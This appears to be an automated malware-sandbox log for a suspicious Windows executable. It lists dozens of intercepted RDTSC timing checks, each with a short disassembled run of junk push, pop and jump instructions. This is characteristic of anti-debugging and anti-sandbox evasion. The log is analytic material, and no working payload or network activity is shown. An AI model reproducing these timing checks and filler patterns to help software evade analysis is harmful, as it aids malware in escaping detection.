Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD0CDE second address: FD0CE9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD0CE9 second address: FD0CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD0E80 second address: FD0E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD0E86 second address: FD0E95 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F84ECDED156h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD5D93 second address: FD5DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F84ECC38F9Fh 0x0000000b je 00007F84ECC38F96h 0x00000011 popad 0x00000012 jmp 00007F84ECC38F9Fh 0x00000017 popad 0x00000018 pushad 0x00000019 ja 00007F84ECC38FA5h 0x0000001f push eax 0x00000020 push edx 0x00000021 js 00007F84ECC38F96h 0x00000027 jmp 00007F84ECC38F9Ah 0x0000002c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD5F78 second address: FD5F7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD6389 second address: FD638E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD638E second address: FD6394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD6394 second address: FD639A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD639A second address: FD639E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD639E second address: FD63A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD64F0 second address: FD64F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD64F4 second address: FD650D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F84ECC38FA1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD650D second address: FD6519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F84ECDED156h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD6519 second address: FD6537 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F84ECC38FA1h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD6537 second address: FD653B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD653B second address: FD655F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F84ECC38F96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD655F second address: FD6563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F8166A second address: F816C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECC38FA2h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F84ECC38F98h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 movsx edi, dx 0x0000002a push 00000004h 0x0000002c jnp 00007F84ECC38F99h 0x00000032 adc dh, 00000000h 0x00000035 nop 0x00000036 jmp 00007F84ECC38F9Eh 0x0000003b push eax 0x0000003c push ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD6809 second address: FD680F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD680F second address: FD682C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007F84ECC38FA6h 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD71DC second address: FD71E6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F84ECDED156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD71E6 second address: FD71EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD71EC second address: FD71FE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F84ECDED15Ch 0x00000008 je 00007F84ECDED156h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FD71FE second address: FD7217 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FDEA14 second address: FDEA18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FDEA18 second address: FDEA27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FDF619 second address: FDF621 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FDF621 second address: FDF626 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F42386 second address: F42395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F84ECDED156h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE053C second address: FE0542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE07E5 second address: FE07F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F84ECDED15Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE07F8 second address: FE081A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 jmp 00007F84ECC38F9Bh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 pop eax 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE2176 second address: FE217F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE217F second address: FE21AC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F84ECC38F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F84ECC38FA3h 0x00000011 js 00007F84ECC38FA2h 0x00000017 jng 00007F84ECC38F96h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE21AC second address: FE21C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED15Dh 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F2C7A2 second address: F2C7B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECC38F9Ch 0x00000009 jnl 00007F84ECC38F96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F2C7B8 second address: F2C7BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F2C7BE second address: F2C7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F84ECC38FA2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE5457 second address: FE545B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE55D9 second address: FE55DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE55DD second address: FE55FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F84ECDED163h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE55FA second address: FE560A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE560A second address: FE5610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE58C7 second address: FE5914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnc 00007F84ECC38F9Eh 0x0000000b push ebx 0x0000000c jmp 00007F84ECC38FA9h 0x00000011 jmp 00007F84ECC38F9Ah 0x00000016 pop ebx 0x00000017 popad 0x00000018 jbe 00007F84ECC38FB0h 0x0000001e jl 00007F84ECC38FA2h 0x00000024 ja 00007F84ECC38F96h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE5914 second address: FE591B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FE5EB5 second address: FE5EE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F84ECC38FA7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF3265 second address: FF3283 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F84ECDED160h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF3283 second address: FF329A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA0h 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF161D second address: FF1645 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F84ECDED156h 0x00000010 jmp 00007F84ECDED168h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF193F second address: FF195A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA2h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF195A second address: FF19A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007F84ECDED163h 0x0000000b jmp 00007F84ECDED15Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F84ECDED169h 0x0000001b push edx 0x0000001c jmp 00007F84ECDED161h 0x00000021 push edx 0x00000022 pop edx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF1B39 second address: FF1B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF20A6 second address: FF20AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF20AC second address: FF20B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF29D6 second address: FF29EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F84ECDED163h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF29EF second address: FF29F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF29F5 second address: FF29FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FF312B second address: FF312F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FFBBC9 second address: FFBBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: FFBBCD second address: FFBBD2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 100893C second address: 1008947 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 100C639 second address: 100C63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 100C04B second address: 100C04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 100C04F second address: 100C060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 100C060 second address: 100C06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 100C06A second address: 100C085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECC38FA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 101CE63 second address: 101CE77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F84ECDED15Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 101E59A second address: 101E5A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 101E5A4 second address: 101E5B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED15Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1025C3B second address: 1025C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1025C40 second address: 1025C47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1025DF1 second address: 1025DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1025F49 second address: 1025F4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1025F4D second address: 1025F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F84ECC38F9Ah 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 10260BD second address: 10260DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ecx 0x0000000b jne 00007F84ECDED156h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1026206 second address: 102620A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102620A second address: 102621F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F84ECDED15Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102621F second address: 102622B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F84ECC38F96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102622B second address: 1026238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1026396 second address: 102639C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102639C second address: 10263A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 10263A2 second address: 10263E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F84ECC38F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007F84ECC38FD4h 0x00000014 pushad 0x00000015 jmp 00007F84ECC38F9Ch 0x0000001a jmp 00007F84ECC38F9Bh 0x0000001f jmp 00007F84ECC38F9Fh 0x00000024 jl 00007F84ECC38F96h 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d push edx 0x0000002e pop edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1026E0A second address: 1026E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1026E0E second address: 1026E12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1026E12 second address: 1026E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1026E18 second address: 1026E1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102AB97 second address: 102ABB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F84ECDED160h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102ABB0 second address: 102ABB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102ABB6 second address: 102ABBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102A735 second address: 102A766 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F84ECC38F9Fh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102A8D4 second address: 102A8E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECDED15Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102A8E6 second address: 102A8FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F84ECC38F96h 0x00000008 jno 00007F84ECC38F96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 102A8FC second address: 102A900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 1043DB5 second address: 1043DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F84ECC38F96h 0x0000000a pop edi 0x0000000b rdtsc
